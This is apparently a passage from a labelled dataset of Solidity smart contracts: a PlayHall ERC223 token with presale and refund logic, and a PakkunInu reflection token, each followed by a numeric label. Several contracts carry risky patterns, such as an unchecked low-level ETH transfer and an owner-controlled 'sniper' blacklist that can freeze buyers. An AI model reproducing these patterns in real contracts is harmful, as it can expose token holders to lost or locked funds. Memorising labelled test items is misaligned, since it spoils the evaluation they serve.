totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,551 |
pragma solidity ^0.4.18;
interface IPricingStrategy {
function isPricingStrategy() public view returns (bool);
function calculateTokenAmount(uint weiAmount, uint tokensSold) public view returns (uint tokenAmount);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223 is ERC20 {
function transfer(address _to, uint _value, bytes _data) public returns (bool);
function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract TokenReciever {
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Contactable is Ownable{
string public contactInformation;
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
contract PlayHallToken is ERC223, Contactable {
using SafeMath for uint;
string constant public name = "PlayHall Token";
string constant public symbol = "PHT";
uint constant public decimals = 18;
bool public isActivated = false;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) internal allowed;
mapping (address => bool) public freezedList;
address public minter;
bool public mintingFinished = false;
event Mint(address indexed to, uint amount);
event MintingFinished();
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier whenActivated() {
require(isActivated);
_;
}
function PlayHallToken() public {
minter = msg.sender;
}
function transfer(address _to, uint _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function transfer(address _to, uint _value, bytes _data) public whenActivated returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!freezedList[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (isContract(_to)) {
TokenReciever receiver = TokenReciever(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
bytes memory empty;
return transferFrom(_from, _to, _value, empty);
}
function transferFrom(address _from, address _to, uint _value, bytes _data) public whenActivated returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!freezedList[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (isContract(_to)) {
TokenReciever receiver = TokenReciever(_to);
receiver.tokenFallback(_from, _value, _data);
}
Transfer(_from, _to, _value);
Transfer(_from, _to, _value, _data);
return true;
}
function approve(address _spender, uint _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mint(address _to, uint _amount, bool freeze) canMint onlyMinter external returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
if (freeze) {
freezedList[_to] = true;
}
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() canMint onlyMinter external returns (bool) {
mintingFinished = true;
MintingFinished();
return true;
}
function setMinter(address _minter) external onlyMinter {
require(_minter != 0x0);
minter = _minter;
}
function removeFromFreezedList(address user) external onlyOwner {
freezedList[user] = false;
}
function activate() external onlyOwner returns (bool) {
isActivated = true;
return true;
}
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract SaleBase is Pausable, Contactable {
using SafeMath for uint;
PlayHallToken public token;
uint public startTime;
uint public endTime;
address public wallet;
IPricingStrategy public pricingStrategy;
uint public weiRaised;
uint public tokensSold;
uint public weiMaximumGoal;
uint public weiMinimumGoal;
uint public weiMinimumAmount;
uint public buyerCount;
uint public loadedRefund;
uint public weiRefunded;
mapping (address => uint) public boughtAmountOf;
mapping (address => bool) public isBuyer;
mapping (address => bool) public isExternalBuyer;
address public admin;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint value,
uint tokenAmount
);
event Refund(address buyer, uint weiAmount);
event RefundLoaded(uint amount);
function SaleBase(
uint _startTime,
uint _endTime,
IPricingStrategy _pricingStrategy,
PlayHallToken _token,
address _wallet,
uint _weiMaximumGoal,
uint _weiMinimumGoal,
uint _weiMinimumAmount,
address _admin
) public
{
require(_startTime >= now);
require(_endTime >= _startTime);
require(_pricingStrategy.isPricingStrategy());
require(address(_token) != 0x0);
require(_wallet != 0x0);
require(_weiMaximumGoal > 0);
require(_admin != 0x0);
startTime = _startTime;
endTime = _endTime;
pricingStrategy = _pricingStrategy;
token = _token;
wallet = _wallet;
weiMaximumGoal = _weiMaximumGoal;
weiMinimumGoal = _weiMinimumGoal;
weiMinimumAmount = _weiMinimumAmount;
admin = _admin;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || msg.sender == admin);
_;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public whenNotPaused payable returns (bool) {
uint weiAmount = msg.value;
require(beneficiary != 0x0);
require(weiAmount >= weiMinimumAmount);
require(validPurchase(msg.value));
uint tokenAmount = pricingStrategy.calculateTokenAmount(weiAmount, weiRaised);
mintTokenToBuyer(beneficiary, tokenAmount, weiAmount);
wallet.transfer(msg.value);
return true;
}
function mintTokenToBuyer(address beneficiary, uint tokenAmount, uint weiAmount) internal {
if (!isBuyer[beneficiary]) {
buyerCount++;
isBuyer[beneficiary] = true;
}
boughtAmountOf[beneficiary] = boughtAmountOf[beneficiary].add(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
token.mint(beneficiary, tokenAmount, true);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
}
function validPurchase(uint weiAmount) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool withinCap = weiRaised.add(weiAmount) <= weiMaximumGoal;
return withinPeriod && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= weiMaximumGoal;
bool afterEndTime = now > endTime;
return capReached || afterEndTime;
}
function getWeiLeft() external constant returns (uint) {
return weiMaximumGoal - weiRaised;
}
function isMinimumGoalReached() public constant returns (bool) {
return weiRaised >= weiMinimumGoal;
}
function setPricingStrategy(IPricingStrategy _pricingStrategy) external onlyOwner returns (bool) {
pricingStrategy = _pricingStrategy;
return true;
}
function loadRefund() external payable {
require(msg.sender == wallet);
require(msg.value > 0);
require(!isMinimumGoalReached());
loadedRefund = loadedRefund.add(msg.value);
RefundLoaded(msg.value);
}
function refund() external {
require(!isMinimumGoalReached() && loadedRefund > 0);
require(!isExternalBuyer[msg.sender]);
uint weiValue = boughtAmountOf[msg.sender];
require(weiValue > 0);
boughtAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
msg.sender.transfer(weiValue);
Refund(msg.sender, weiValue);
}
function registerPayment(address beneficiary, uint tokenAmount, uint weiAmount) public onlyOwnerOrAdmin {
require(validPurchase(weiAmount));
isExternalBuyer[beneficiary] = true;
mintTokenToBuyer(beneficiary, tokenAmount, weiAmount);
}
function registerPayments(address[] beneficiaries, uint[] tokenAmounts, uint[] weiAmounts) external onlyOwnerOrAdmin {
require(beneficiaries.length == tokenAmounts.length);
require(tokenAmounts.length == weiAmounts.length);
for (uint i = 0; i < beneficiaries.length; i++) {
registerPayment(beneficiaries[i], tokenAmounts[i], weiAmounts[i]);
}
}
function setAdmin(address adminAddress) external onlyOwner {
admin = adminAddress;
}
}
contract Presale is SaleBase {
function Presale(
uint _startTime,
uint _endTime,
IPricingStrategy _pricingStrategy,
PlayHallToken _token,
address _wallet,
uint _weiMaximumGoal,
uint _weiMinimumGoal,
uint _weiMinimumAmount,
address _admin
) public SaleBase(
_startTime,
_endTime,
_pricingStrategy,
_token,
_wallet,
_weiMaximumGoal,
_weiMinimumGoal,
_weiMinimumAmount,
_admin)
{
}
function changeTokenMinter(address newMinter) external onlyOwner {
require(newMinter != 0x0);
require(hasEnded());
token.setMinter(newMinter);
}
} | 1 | 2,928 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PakkunInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress =
payable(0x3d9162030AF07a169a22adcC67f3E93f554e64f6);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Pakkun Inu';
string private _symbol = 'PAKK';
uint8 private _decimals = 9;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _feeRate = 2;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool tradingOpen = false;
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function openTrading() external onlyOwner {
_liquidityFee = _previousLiquidityFee;
_taxFee = _previousTaxFee;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'You have no power here!');
require(!_isSniper[msg.sender], 'You have no power here!');
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(
100
);
}
swapTokens(contractTokenBalance);
}
}
bool takeFee = false;
if (
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToMarketing(address(this).balance);
}
}
function sendETHToMarketing(uint256 amount) private {
marketingAddress.call{value: amount}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
